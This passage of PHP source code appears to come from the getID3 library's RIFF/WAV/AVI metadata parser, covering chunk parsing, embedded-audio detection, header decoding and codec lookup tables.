				if (strlen($chunkname) < 4) {
					$this->error('Expecting chunk name at offset '.($this->ftell() - 8).' but found nothing. Aborting RIFF parsing.');
					break;
				}
				if (($chunksize == 0) && ($chunkname != 'JUNK')) {
					$this->warning('Chunk ('.$chunkname.') size at offset '.($this->ftell() - 4).' is zero. Aborting RIFF parsing.');
					break;
				}
				if (($chunksize % 2) != 0) {
					// all structures are packed on word boundaries
					$chunksize++;
				}

				switch ($chunkname) {
					case 'LIST':
						$listname = $this->fread(4);
						if (preg_match('#^(movi|rec )$#i', $listname)) {
							$RIFFchunk[$listname]['offset'] = $this->ftell() - 4;
							$RIFFchunk[$listname]['size']   = $chunksize;

							if (!$FoundAllChunksWeNeed) {
								$WhereWeWere      = $this->ftell();
								$AudioChunkHeader = $this->fread(12);
								$AudioChunkStreamNum  =                              substr($AudioChunkHeader, 0, 2);
								$AudioChunkStreamType =                              substr($AudioChunkHeader, 2, 2);
								$AudioChunkSize       = getid3_lib::LittleEndian2Int(substr($AudioChunkHeader, 4, 4));

								if ($AudioChunkStreamType == 'wb') {
									$FirstFourBytes = substr($AudioChunkHeader, 8, 4);
									if (preg_match('/^\xFF[\xE2-\xE7\xF2-\xF7\xFA-\xFF][\x00-\xEB]/s', $FirstFourBytes)) {
										// MP3
										if (getid3_mp3::MPEGaudioHeaderBytesValid($FirstFourBytes)) {
											$getid3_temp = new getID3();
											$getid3_temp->openfile($this->getid3->filename);
											$getid3_temp->info['avdataoffset'] = $this->ftell() - 4;
											$getid3_temp->info['avdataend']    = $this->ftell() + $AudioChunkSize;
											$getid3_mp3 = new getid3_mp3($getid3_temp, __CLASS__);
											$getid3_mp3->getOnlyMPEGaudioInfo($getid3_temp->info['avdataoffset'], false);
											if (isset($getid3_temp->info['mpeg']['audio'])) {
												$info['mpeg']['audio']         = $getid3_temp->info['mpeg']['audio'];
												$info['audio']                 = $getid3_temp->info['audio'];
												$info['audio']['dataformat']   = 'mp'.$info['mpeg']['audio']['layer'];
												$info['audio']['sample_rate']  = $info['mpeg']['audio']['sample_rate'];
												$info['audio']['channels']     = $info['mpeg']['audio']['channels'];
												$info['audio']['bitrate']      = $info['mpeg']['audio']['bitrate'];
												$info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']);
												//$info['bitrate']               = $info['audio']['bitrate'];
											}
											unset($getid3_temp, $getid3_mp3);
										}

									} elseif (strpos($FirstFourBytes, getid3_ac3::syncword) === 0) {

										// AC3
										$getid3_temp = new getID3();
										$getid3_temp->openfile($this->getid3->filename);
										$getid3_temp->info['avdataoffset'] = $this->ftell() - 4;
										$getid3_temp->info['avdataend']    = $this->ftell() + $AudioChunkSize;
										$getid3_ac3 = new getid3_ac3($getid3_temp);
										$getid3_ac3->Analyze();
										if (empty($getid3_temp->info['error'])) {
											$info['audio']   = $getid3_temp->info['audio'];
											$info['ac3']     = $getid3_temp->info['ac3'];
											if (!empty($getid3_temp->info['warning'])) {
												foreach ($getid3_temp->info['warning'] as $key => $value) {
													$this->warning($value);
												}
											}
										}
										unset($getid3_temp, $getid3_ac3);
									}
								}
								$FoundAllChunksWeNeed = true;
								$this->fseek($WhereWeWere);
							}
							$this->fseek($chunksize - 4, SEEK_CUR);

						} else {

							if (!isset($RIFFchunk[$listname])) {
								$RIFFchunk[$listname] = array();
							}
							$LISTchunkParent    = $listname;
							$LISTchunkMaxOffset = $this->ftell() - 4 + $chunksize;
							if ($parsedChunk = $this->ParseRIFF($this->ftell(), $LISTchunkMaxOffset)) {
								$RIFFchunk[$listname] = array_merge_recursive($RIFFchunk[$listname], $parsedChunk);
							}

						}
						break;

					default:
						if (preg_match('#^[0-9]{2}(wb|pc|dc|db)$#', $chunkname)) {
							$this->fseek($chunksize, SEEK_CUR);
							break;
						}
						$thisindex = 0;
						if (isset($RIFFchunk[$chunkname]) && is_array($RIFFchunk[$chunkname])) {
							$thisindex = count($RIFFchunk[$chunkname]);
						}
						$RIFFchunk[$chunkname][$thisindex]['offset'] = $this->ftell() - 8;
						$RIFFchunk[$chunkname][$thisindex]['size']   = $chunksize;
						switch ($chunkname) {
							case 'data':
								$info['avdataoffset'] = $this->ftell();
								$info['avdataend']    = $info['avdataoffset'] + $chunksize;

								$testData = $this->fread(36);
								if ($testData === '') {
									break;
								}
								if (preg_match('/^\xFF[\xE2-\xE7\xF2-\xF7\xFA-\xFF][\x00-\xEB]/s', substr($testData, 0, 4))) {

									// Probably is MP3 data
									if (getid3_mp3::MPEGaudioHeaderBytesValid(substr($testData, 0, 4))) {
										$getid3_temp = new getID3();
										$getid3_temp->openfile($this->getid3->filename);
										$getid3_temp->info['avdataoffset'] = $info['avdataoffset'];
										$getid3_temp->info['avdataend']    = $info['avdataend'];
										$getid3_mp3 = new getid3_mp3($getid3_temp, __CLASS__);
										$getid3_mp3->getOnlyMPEGaudioInfo($info['avdataoffset'], false);
										if (empty($getid3_temp->info['error'])) {
											$info['audio'] = $getid3_temp->info['audio'];
											$info['mpeg']  = $getid3_temp->info['mpeg'];
										}
										unset($getid3_temp, $getid3_mp3);
									}

								} elseif (($isRegularAC3 = (substr($testData, 0, 2) == getid3_ac3::syncword)) || substr($testData, 8, 2) == strrev(getid3_ac3::syncword)) {

									// This is probably AC-3 data
									$getid3_temp = new getID3();
									if ($isRegularAC3) {
										$getid3_temp->openfile($this->getid3->filename);
										$getid3_temp->info['avdataoffset'] = $info['avdataoffset'];
										$getid3_temp->info['avdataend']    = $info['avdataend'];
									}
									$getid3_ac3 = new getid3_ac3($getid3_temp);
									if ($isRegularAC3) {
										$getid3_ac3->Analyze();
									} else {
										// Dolby Digital WAV
										// AC-3 content, but not encoded in same format as normal AC-3 file
										// For one thing, byte order is swapped
										$ac3_data = '';
										for ($i = 0; $i < 28; $i += 2) {
											$ac3_data .= substr($testData, 8 + $i + 1, 1);
											$ac3_data .= substr($testData, 8 + $i + 0, 1);
										}
										$getid3_ac3->AnalyzeString($ac3_data);
									}

									if (empty($getid3_temp->info['error'])) {
										$info['audio'] = $getid3_temp->info['audio'];
										$info['ac3']   = $getid3_temp->info['ac3'];
										if (!empty($getid3_temp->info['warning'])) {
											foreach ($getid3_temp->info['warning'] as $newerror) {
												$this->warning('getid3_ac3() says: ['.$newerror.']');
											}
										}
									}
									unset($getid3_temp, $getid3_ac3);

								} elseif (preg_match('/^('.implode('|', array_map('preg_quote', getid3_dts::$syncwords)).')/', $testData)) {

									// This is probably DTS data
									$getid3_temp = new getID3();
									$getid3_temp->openfile($this->getid3->filename);
									$getid3_temp->info['avdataoffset'] = $info['avdataoffset'];
									$getid3_dts = new getid3_dts($getid3_temp);
									$getid3_dts->Analyze();
									if (empty($getid3_temp->info['error'])) {
										$info['audio']            = $getid3_temp->info['audio'];
										$info['dts']              = $getid3_temp->info['dts'];
										$info['playtime_seconds'] = $getid3_temp->info['playtime_seconds']; // may not match RIFF calculations since DTS-WAV often used 14/16 bit-word packing
										if (!empty($getid3_temp->info['warning'])) {
											foreach ($getid3_temp->info['warning'] as $newerror) {
												$this->warning('getid3_dts() says: ['.$newerror.']');
											}
										}
									}

									unset($getid3_temp, $getid3_dts);

								} elseif (substr($testData, 0, 4) == 'wvpk') {

									// This is WavPack data
									$info['wavpack']['offset'] = $info['avdataoffset'];
									$info['wavpack']['size']   = getid3_lib::LittleEndian2Int(substr($testData, 4, 4));
									$this->parseWavPackHeader(substr($testData, 8, 28));

								} else {
									// This is some other kind of data (quite possibly just PCM)
									// do nothing special, just skip it
								}
								$nextoffset = $info['avdataend'];
								$this->fseek($nextoffset);
								break;

							case 'iXML':
							case 'bext':
							case 'cart':
							case 'fmt ':
							case 'strh':
							case 'strf':
							case 'indx':
							case 'MEXT':
							case 'DISP':
								// always read data in
							case 'JUNK':
								// should be: never read data in
								// but some programs write their version strings in a JUNK chunk (e.g. VirtualDub, AVIdemux, etc)
								if ($chunksize < 1048576) {
									if ($chunksize > 0) {
										$RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize);
										if ($chunkname == 'JUNK') {
											if (preg_match('#^([\\x20-\\x7F]+)#', $RIFFchunk[$chunkname][$thisindex]['data'], $matches)) {
												// only keep text characters [chr(32)-chr(127)]
												$info['riff']['comments']['junk'][] = trim($matches[1]);
											}
											// but if nothing there, ignore
											// remove the key in either case
											unset($RIFFchunk[$chunkname][$thisindex]['data']);
										}
									}
								} else {
									$this->warning('Chunk "'.$chunkname.'" at offset '.$this->ftell().' is unexpectedly larger than 1MB (claims to be '.number_format($chunksize).' bytes), skipping data');
									$this->fseek($chunksize, SEEK_CUR);
								}
								break;

							//case 'IDVX':
							//	$info['divxtag']['comments'] = self::ParseDIVXTAG($this->fread($chunksize));
							//	break;

							default:
								if (!empty($LISTchunkParent) && (($RIFFchunk[$chunkname][$thisindex]['offset'] + $RIFFchunk[$chunkname][$thisindex]['size']) <= $LISTchunkMaxOffset)) {
									$RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['offset'] = $RIFFchunk[$chunkname][$thisindex]['offset'];
									$RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['size']   = $RIFFchunk[$chunkname][$thisindex]['size'];
									unset($RIFFchunk[$chunkname][$thisindex]['offset']);
									unset($RIFFchunk[$chunkname][$thisindex]['size']);
									if (isset($RIFFchunk[$chunkname][$thisindex]) && empty($RIFFchunk[$chunkname][$thisindex])) {
										unset($RIFFchunk[$chunkname][$thisindex]);
									}
									if (isset($RIFFchunk[$chunkname]) && empty($RIFFchunk[$chunkname])) {
										unset($RIFFchunk[$chunkname]);
									}
									$RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['data'] = $this->fread($chunksize);
								} elseif ($chunksize < 2048) {
									// only read data in if smaller than 2kB
									$RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize);
								} else {
									$this->fseek($chunksize, SEEK_CUR);
								}
								break;
						}
						break;
				}
			}

		} catch (getid3_exception $e) {
			if ($e->getCode() == 10) {
				$this->warning('RIFF parser: '.$e->getMessage());
			} else {
				throw $e;
			}
		}

		return $RIFFchunk;
	}

	public function ParseRIFFdata(&$RIFFdata) {
		$info = &$this->getid3->info;
		if ($RIFFdata) {
			$tempfile = tempnam(GETID3_TEMP_DIR, 'getID3');
			$fp_temp  = fopen($tempfile, 'wb');
			$RIFFdataLength = strlen($RIFFdata);
			$NewLengthString = getid3_lib::LittleEndian2String($RIFFdataLength, 4);
			for ($i = 0; $i < 4; $i++) {
				$RIFFdata[($i + 4)] = $NewLengthString[$i];
			}
			fwrite($fp_temp, $RIFFdata);
			fclose($fp_temp);

			$getid3_temp = new getID3();
			$getid3_temp->openfile($tempfile);
			$getid3_temp->info['filesize']     = $RIFFdataLength;
			$getid3_temp->info['filenamepath'] = $info['filenamepath'];
			$getid3_temp->info['tags']         = $info['tags'];
			$getid3_temp->info['warning']      = $info['warning'];
			$getid3_temp->info['error']        = $info['error'];
			$getid3_temp->info['comments']     = $info['comments'];
			$getid3_temp->info['audio']        = (isset($info['audio']) ? $info['audio'] : array());
			$getid3_temp->info['video']        = (isset($info['video']) ? $info['video'] : array());
			$getid3_riff = new getid3_riff($getid3_temp);
			$getid3_riff->Analyze();

			$info['riff']     = $getid3_temp->info['riff'];
			$info['warning']  = $getid3_temp->info['warning'];
			$info['error']    = $getid3_temp->info['error'];
			$info['tags']     = $getid3_temp->info['tags'];
			$info['comments'] = $getid3_temp->info['comments'];
			unset($getid3_riff, $getid3_temp);
			unlink($tempfile);
		}
		return false;
	}

	public static function parseComments(&$RIFFinfoArray, &$CommentsTargetArray) {
		$RIFFinfoKeyLookup = array(
			'IARL'=>'archivallocation',
			'IART'=>'artist',
			'ICDS'=>'costumedesigner',
			'ICMS'=>'commissionedby',
			'ICMT'=>'comment',
			'ICNT'=>'country',
			'ICOP'=>'copyright',
			'ICRD'=>'creationdate',
			'IDIM'=>'dimensions',
			'IDIT'=>'digitizationdate',
			'IDPI'=>'resolution',
			'IDST'=>'distributor',
			'IEDT'=>'editor',
			'IENG'=>'engineers',
			'IFRM'=>'accountofparts',
			'IGNR'=>'genre',
			'IKEY'=>'keywords',
			'ILGT'=>'lightness',
			'ILNG'=>'language',
			'IMED'=>'orignalmedium',
			'IMUS'=>'composer',
			'INAM'=>'title',
			'IPDS'=>'productiondesigner',
			'IPLT'=>'palette',
			'IPRD'=>'product',
			'IPRO'=>'producer',
			'IPRT'=>'part',
			'IRTD'=>'rating',
			'ISBJ'=>'subject',
			'ISFT'=>'software',
			'ISGN'=>'secondarygenre',
			'ISHP'=>'sharpness',
			'ISRC'=>'sourcesupplier',
			'ISRF'=>'digitizationsource',
			'ISTD'=>'productionstudio',
			'ISTR'=>'starring',
			'ITCH'=>'encoded_by',
			'IWEB'=>'url',
			'IWRI'=>'writer',
			'____'=>'comment',
		);
		foreach ($RIFFinfoKeyLookup as $key => $value) {
			if (isset($RIFFinfoArray[$key])) {
				foreach ($RIFFinfoArray[$key] as $commentid => $commentdata) {
					if (trim($commentdata['data']) != '') {
						if (isset($CommentsTargetArray[$value])) {
							$CommentsTargetArray[$value][] =     trim($commentdata['data']);
						} else {
							$CommentsTargetArray[$value] = array(trim($commentdata['data']));
						}
					}
				}
			}
		}
		return true;
	}

	public static function parseWAVEFORMATex($WaveFormatExData) {
		// shortcut
		$WaveFormatEx['raw'] = array();
		$WaveFormatEx_raw    = &$WaveFormatEx['raw'];

		$WaveFormatEx_raw['wFormatTag']      = substr($WaveFormatExData,  0, 2);
		$WaveFormatEx_raw['nChannels']       = substr($WaveFormatExData,  2, 2);
		$WaveFormatEx_raw['nSamplesPerSec']  = substr($WaveFormatExData,  4, 4);
		$WaveFormatEx_raw['nAvgBytesPerSec'] = substr($WaveFormatExData,  8, 4);
		$WaveFormatEx_raw['nBlockAlign']     = substr($WaveFormatExData, 12, 2);
		$WaveFormatEx_raw['wBitsPerSample']  = substr($WaveFormatExData, 14, 2);
		if (strlen($WaveFormatExData) > 16) {
			$WaveFormatEx_raw['cbSize']      = substr($WaveFormatExData, 16, 2);
		}
		$WaveFormatEx_raw = array_map('getid3_lib::LittleEndian2Int', $WaveFormatEx_raw);

		$WaveFormatEx['codec']           = self::wFormatTagLookup($WaveFormatEx_raw['wFormatTag']);
		$WaveFormatEx['channels']        = $WaveFormatEx_raw['nChannels'];
		$WaveFormatEx['sample_rate']     = $WaveFormatEx_raw['nSamplesPerSec'];
		$WaveFormatEx['bitrate']         = $WaveFormatEx_raw['nAvgBytesPerSec'] * 8;
		$WaveFormatEx['bits_per_sample'] = $WaveFormatEx_raw['wBitsPerSample'];

		return $WaveFormatEx;
	}

	public function parseWavPackHeader($WavPackChunkData) {
		// typedef struct {
		//     char ckID [4];
		//     long ckSize;
		//     short version;
		//     short bits;                // added for version 2.00
		//     short flags, shift;        // added for version 3.00
		//     long total_samples, crc, crc2;
		//     char extension [4], extra_bc, extras [3];
		// } WavpackHeader;

		// shortcut
		$info = &$this->getid3->info;
		$info['wavpack']  = array();
		$thisfile_wavpack = &$info['wavpack'];

		$thisfile_wavpack['version']           = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  0, 2));
		if ($thisfile_wavpack['version'] >= 2) {
			$thisfile_wavpack['bits']          = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  2, 2));
		}
		if ($thisfile_wavpack['version'] >= 3) {
			$thisfile_wavpack['flags_raw']     = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  4, 2));
			$thisfile_wavpack['shift']         = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  6, 2));
			$thisfile_wavpack['total_samples'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  8, 4));
			$thisfile_wavpack['crc1']          = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 12, 4));
			$thisfile_wavpack['crc2']          = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 16, 4));
			$thisfile_wavpack['extension']     =                              substr($WavPackChunkData, 20, 4);
			$thisfile_wavpack['extra_bc']      = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 24, 1));
			for ($i = 0; $i <= 2; $i++) {
				$thisfile_wavpack['extras'][]  = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 25 + $i, 1));
			}

			// shortcut
			$thisfile_wavpack['flags'] = array();
			$thisfile_wavpack_flags = &$thisfile_wavpack['flags'];

			$thisfile_wavpack_flags['mono']                 = (bool) ($thisfile_wavpack['flags_raw'] & 0x000001);
			$thisfile_wavpack_flags['fast_mode']            = (bool) ($thisfile_wavpack['flags_raw'] & 0x000002);
			$thisfile_wavpack_flags['raw_mode']             = (bool) ($thisfile_wavpack['flags_raw'] & 0x000004);
			$thisfile_wavpack_flags['calc_noise']           = (bool) ($thisfile_wavpack['flags_raw'] & 0x000008);
			$thisfile_wavpack_flags['high_quality']         = (bool) ($thisfile_wavpack['flags_raw'] & 0x000010);
			$thisfile_wavpack_flags['3_byte_samples']       = (bool) ($thisfile_wavpack['flags_raw'] & 0x000020);
			$thisfile_wavpack_flags['over_20_bits']         = (bool) ($thisfile_wavpack['flags_raw'] & 0x000040);
			$thisfile_wavpack_flags['use_wvc']              = (bool) ($thisfile_wavpack['flags_raw'] & 0x000080);
			$thisfile_wavpack_flags['noiseshaping']         = (bool) ($thisfile_wavpack['flags_raw'] & 0x000100);
			$thisfile_wavpack_flags['very_fast_mode']       = (bool) ($thisfile_wavpack['flags_raw'] & 0x000200);
			$thisfile_wavpack_flags['new_high_quality']     = (bool) ($thisfile_wavpack['flags_raw'] & 0x000400);
			$thisfile_wavpack_flags['cancel_extreme']       = (bool) ($thisfile_wavpack['flags_raw'] & 0x000800);
			$thisfile_wavpack_flags['cross_decorrelation']  = (bool) ($thisfile_wavpack['flags_raw'] & 0x001000);
			$thisfile_wavpack_flags['new_decorrelation']    = (bool) ($thisfile_wavpack['flags_raw'] & 0x002000);
			$thisfile_wavpack_flags['joint_stereo']         = (bool) ($thisfile_wavpack['flags_raw'] & 0x004000);
			$thisfile_wavpack_flags['extra_decorrelation']  = (bool) ($thisfile_wavpack['flags_raw'] & 0x008000);
			$thisfile_wavpack_flags['override_noiseshape']  = (bool) ($thisfile_wavpack['flags_raw'] & 0x010000);
			$thisfile_wavpack_flags['override_jointstereo'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x020000);
			$thisfile_wavpack_flags['copy_source_filetime'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x040000);
			$thisfile_wavpack_flags['create_exe']           = (bool) ($thisfile_wavpack['flags_raw'] & 0x080000);
		}

		return true;
	}

	public static function ParseBITMAPINFOHEADER($BITMAPINFOHEADER, $littleEndian=true) {

		$parsed['biSize']          = substr($BITMAPINFOHEADER,  0, 4); // number of bytes required by the BITMAPINFOHEADER structure
		$parsed['biWidth']         = substr($BITMAPINFOHEADER,  4, 4); // width of the bitmap in pixels
		$parsed['biHeight']        = substr($BITMAPINFOHEADER,  8, 4); // height of the bitmap in pixels. If biHeight is positive, the bitmap is a 'bottom-up' DIB and its origin is the lower left corner. If biHeight is negative, the bitmap is a 'top-down' DIB and its origin is the upper left corner
		$parsed['biPlanes']        = substr($BITMAPINFOHEADER, 12, 2); // number of color planes on the target device. In most cases this value must be set to 1
		$parsed['biBitCount']      = substr($BITMAPINFOHEADER, 14, 2); // Specifies the number of bits per pixels
		$parsed['biSizeImage']     = substr($BITMAPINFOHEADER, 20, 4); // size of the bitmap data section of the image (the actual pixel data, excluding BITMAPINFOHEADER and RGBQUAD structures)
		$parsed['biXPelsPerMeter'] = substr($BITMAPINFOHEADER, 24, 4); // horizontal resolution, in pixels per metre, of the target device
		$parsed['biYPelsPerMeter'] = substr($BITMAPINFOHEADER, 28, 4); // vertical resolution, in pixels per metre, of the target device
		$parsed['biClrUsed']       = substr($BITMAPINFOHEADER, 32, 4); // actual number of color indices in the color table used by the bitmap. If this value is zero, the bitmap uses the maximum number of colors corresponding to the value of the biBitCount member for the compression mode specified by biCompression
		$parsed['biClrImportant']  = substr($BITMAPINFOHEADER, 36, 4); // number of color indices that are considered important for displaying the bitmap. If this value is zero, all colors are important
		$parsed = array_map('getid3_lib::'.($littleEndian ? 'Little' : 'Big').'Endian2Int', $parsed);

		$parsed['fourcc']          = substr($BITMAPINFOHEADER, 16, 4);  // compression identifier

		return $parsed;
	}

	public static function ParseDIVXTAG($DIVXTAG, $raw=false) {
		// structure from "IDivX" source, Form1.frm, by "Greg Frazier of Daemonic Software Group", email: gfrazier@icestorm.net, web: http://dsg.cjb.net/
		// source available at http://files.divx-digest.com/download/c663efe7ef8ad2e90bf4af4d3ea6188a/on0SWN2r/edit/IDivX.zip
		// 'Byte Layout:                   '1111111111111111
		// '32 for Movie - 1               '1111111111111111
		// '28 for Author - 6              '6666666666666666
		// '4  for year - 2                '6666666666662222
		// '3  for genre - 3               '7777777777777777
		// '48 for Comments - 7            '7777777777777777
		// '1  for Rating - 4              '7777777777777777
		// '5  for Future Additions - 0    '333400000DIVXTAG
		// '128 bytes total

		static $DIVXTAGgenre  = array(
			 0 => 'Action',
			 1 => 'Action/Adventure',
			 2 => 'Adventure',
			 3 => 'Adult',
			 4 => 'Anime',
			 5 => 'Cartoon',
			 6 => 'Claymation',
			 7 => 'Comedy',
			 8 => 'Commercial',
			 9 => 'Documentary',
			10 => 'Drama',
			11 => 'Home Video',
			12 => 'Horror',
			13 => 'Infomercial',
			14 => 'Interactive',
			15 => 'Mystery',
			16 => 'Music Video',
			17 => 'Other',
			18 => 'Religion',
			19 => 'Sci Fi',
			20 => 'Thriller',
			21 => 'Western',
		),
		$DIVXTAGrating = array(
			 0 => 'Unrated',
			 1 => 'G',
			 2 => 'PG',
			 3 => 'PG-13',
			 4 => 'R',
			 5 => 'NC-17',
		);

		$parsed['title']     =        trim(substr($DIVXTAG,   0, 32));
		$parsed['artist']    =        trim(substr($DIVXTAG,  32, 28));
		$parsed['year']      = intval(trim(substr($DIVXTAG,  60,  4)));
		$parsed['comment']   =        trim(substr($DIVXTAG,  64, 48));
		$parsed['genre_id']  = intval(trim(substr($DIVXTAG, 112,  3)));
		$parsed['rating_id'] =         ord(substr($DIVXTAG, 115,  1));
		//$parsed['padding'] =             substr($DIVXTAG, 116,  5);  // 5-byte null
		//$parsed['magic']   =             substr($DIVXTAG, 121,  7);  // "DIVXTAG"

		$parsed['genre']  = (isset($DIVXTAGgenre[$parsed['genre_id']])   ? $DIVXTAGgenre[$parsed['genre_id']]   : $parsed['genre_id']);
		$parsed['rating'] = (isset($DIVXTAGrating[$parsed['rating_id']]) ? $DIVXTAGrating[$parsed['rating_id']] : $parsed['rating_id']);

		if (!$raw) {
			unset($parsed['genre_id'], $parsed['rating_id']);
			foreach ($parsed as $key => $value) {
				if (!$value === '') {
					unset($parsed['key']);
				}
			}
		}

		foreach ($parsed as $tag => $value) {
			$parsed[$tag] = array($value);
		}

		return $parsed;
	}

	public static function waveSNDMtagLookup($tagshortname) {
		$begin = __LINE__;

		/** This is not a comment!

			©kwd	keywords
			©BPM	bpm
			©trt	tracktitle
			©des	description
			©gen	category
			©fin	featuredinstrument
			©LID	longid
			©bex	bwdescription
			©pub	publisher
			©cdt	cdtitle
			©alb	library
			©com	composer

		*/

		return getid3_lib::EmbeddedLookup($tagshortname, $begin, __LINE__, __FILE__, 'riff-sndm');
	}

	public static function wFormatTagLookup($wFormatTag) {

		$begin = __LINE__;

		/** This is not a comment!

			0x0000	Microsoft Unknown Wave Format
			0x0001	Pulse Code Modulation (PCM)
			0x0002	Microsoft ADPCM
			0x0003	IEEE Float
			0x0004	Compaq Computer VSELP
			0x0005	IBM CVSD
			0x0006	Microsoft A-Law
			0x0007	Microsoft mu-Law
			0x0008	Microsoft DTS
			0x0010	OKI ADPCM
			0x0011	Intel DVI/IMA ADPCM
			0x0012	Videologic MediaSpace ADPCM
			0x0013	Sierra Semiconductor ADPCM
			0x0014	Antex Electronics G.723 ADPCM
			0x0015	DSP Solutions DigiSTD
			0x0016	DSP Solutions DigiFIX
			0x0017	Dialogic OKI ADPCM
			0x0018	MediaVision ADPCM
			0x0019	Hewlett-Packard CU
			0x0020	Yamaha ADPCM
			0x0021	Speech Compression Sonarc
			0x0022	DSP Group TrueSpeech
			0x0023	Echo Speech EchoSC1
			0x0024	Audiofile AF36
			0x0025	Audio Processing Technology APTX
			0x0026	AudioFile AF10
			0x0027	Prosody 1612
			0x0028	LRC
			0x0030	Dolby AC2
			0x0031	Microsoft GSM 6.10
			0x0032	MSNAudio
			0x0033	Antex Electronics ADPCME
			0x0034	Control Resources VQLPC
			0x0035	DSP Solutions DigiREAL
			0x0036	DSP Solutions DigiADPCM
			0x0037	Control Resources CR10
			0x0038	Natural MicroSystems VBXADPCM
			0x0039	Crystal Semiconductor IMA ADPCM
			0x003A	EchoSC3
			0x003B	Rockwell ADPCM
			0x003C	Rockwell Digit LK
			0x003D	Xebec
			0x0040	Antex Electronics G.721 ADPCM
			0x0041	G.728 CELP
			0x0042	MSG723
			0x0050	MPEG Layer-2 or Layer-1
			0x0052	RT24
			0x0053	PAC
			0x0055	MPEG Layer-3
			0x0059	Lucent G.723
			0x0060	Cirrus
			0x0061	ESPCM
			0x0062	Voxware
			0x0063	Canopus Atrac
			0x0064	G.726 ADPCM
			0x0065	G.722 ADPCM
			0x0066	DSAT
			0x0067	DSAT Display
			0x0069	Voxware Byte Aligned
			0x0070	Voxware AC8
			0x0071	Voxware AC10
			0x0072	Voxware AC16
			0x0073	Voxware AC20
			0x0074	Voxware MetaVoice
			0x0075	Voxware MetaSound
			0x0076	Voxware RT29HW
			0x0077	Voxware VR12
			0x0078	Voxware VR18
			0x0079	Voxware TQ40
			0x0080	Softsound
			0x0081	Voxware TQ60
			0x0082	MSRT24
			0x0083	G.729A
			0x0084	MVI MV12
			0x0085	DF G.726
			0x0086	DF GSM610
			0x0088	ISIAudio
			0x0089	Onlive
			0x0091	SBC24
			0x0092	Dolby AC3 SPDIF
			0x0093	MediaSonic G.723
			0x0094	Aculab PLC    Prosody 8kbps
			0x0097	ZyXEL ADPCM
			0x0098	Philips LPCBB
			0x0099	Packed
			0x00FF	AAC
			0x0100	Rhetorex ADPCM
			0x0101	IBM mu-law
			0x0102	IBM A-law
			0x0103	IBM AVC Adaptive Differential Pulse Code Modulation (ADPCM)
			0x0111	Vivo G.723
			0x0112	Vivo Siren
			0x0123	Digital G.723
			0x0125	Sanyo LD ADPCM
			0x0130	Sipro Lab Telecom ACELP NET
			0x0131	Sipro Lab Telecom ACELP 4800
			0x0132	Sipro Lab Telecom ACELP 8V3
			0x0133	Sipro Lab Telecom G.729
			0x0134	Sipro Lab Telecom G.729A
			0x0135	Sipro Lab Telecom Kelvin
			0x0140	Windows Media Video V8
			0x0150	Qualcomm PureVoice
			0x0151	Qualcomm HalfRate
			0x0155	Ring Zero Systems TUB GSM
			0x0160	Microsoft Audio 1
			0x0161	Windows Media Audio V7 / V8 / V9
			0x0162	Windows Media Audio Professional V9
			0x0163	Windows Media Audio Lossless V9
			0x0200	Creative Labs ADPCM
			0x0202	Creative Labs Fastspeech8
			0x0203	Creative Labs Fastspeech10
			0x0210	UHER Informatic GmbH ADPCM
			0x0220	Quarterdeck
			0x0230	I-link Worldwide VC
			0x0240	Aureal RAW Sport
			0x0250	Interactive Products HSX
			0x0251	Interactive Products RPELP
			0x0260	Consistent Software CS2
			0x0270	Sony SCX
			0x0300	Fujitsu FM Towns Snd
			0x0400	BTV Digital
			0x0401	Intel Music Coder
			0x0450	QDesign Music
			0x0680	VME VMPCM
			0x0681	AT&T Labs TPC
			0x08AE	ClearJump LiteWave
			0x1000	Olivetti GSM
			0x1001	Olivetti ADPCM
			0x1002	Olivetti CELP
			0x1003	Olivetti SBC
			0x1004	Olivetti OPR
			0x1100	Lernout & Hauspie Codec (0x1100)
			0x1101	Lernout & Hauspie CELP Codec (0x1101)
			0x1102	Lernout & Hauspie SBC Codec (0x1102)
			0x1103	Lernout & Hauspie SBC Codec (0x1103)
			0x1104	Lernout & Hauspie SBC Codec (0x1104)
			0x1400	Norris
			0x1401	AT&T ISIAudio
			0x1500	Soundspace Music Compression
			0x181C	VoxWare RT24 Speech
			0x1FC4	NCT Soft ALF2CD (www.nctsoft.com)
			0x2000	Dolby AC3
			0x2001	Dolby DTS
			0x2002	WAVE_FORMAT_14_4
			0x2003	WAVE_FORMAT_28_8
			0x2004	WAVE_FORMAT_COOK
			0x2005	WAVE_FORMAT_DNET
			0x674F	Ogg Vorbis 1
			0x6750	Ogg Vorbis 2
			0x6751	Ogg Vorbis 3
			0x676F	Ogg Vorbis 1+
			0x6770	Ogg Vorbis 2+
			0x6771	Ogg Vorbis 3+
			0x7A21	GSM-AMR (CBR, no SID)
			0x7A22	GSM-AMR (VBR, including SID)
			0xFFFE	WAVE_FORMAT_EXTENSIBLE
			0xFFFF	WAVE_FORMAT_DEVELOPMENT

		*/

		return getid3_lib::EmbeddedLookup('0x'.str_pad(strtoupper(dechex($wFormatTag)), 4, '0', STR_PAD_LEFT), $begin, __LINE__, __FILE__, 'riff-wFormatTag');
	}

	public static function fourccLookup($fourcc) {

		$begin = __LINE__;

		/** This is not a comment!

			swot	http://developer.apple.com/qa/snd/snd07.html
			____	No Codec (____)
			_BIT	BI_BITFIELDS (Raw RGB)
			_JPG	JPEG compressed
			_PNG	PNG compressed W3C/ISO/IEC (RFC-2083)
			_RAW	Full Frames (Uncompressed)
			_RGB	Raw RGB Bitmap
			_RL4	RLE 4bpp RGB
			_RL8	RLE 8bpp RGB
			3IV1	3ivx MPEG-4 v1
			3IV2	3ivx MPEG-4 v2
			3IVX	3ivx MPEG-4
			AASC	Autodesk Animator
			ABYR	Kensington ?ABYR?
			AEMI	Array Microsystems VideoONE MPEG1-I Capture
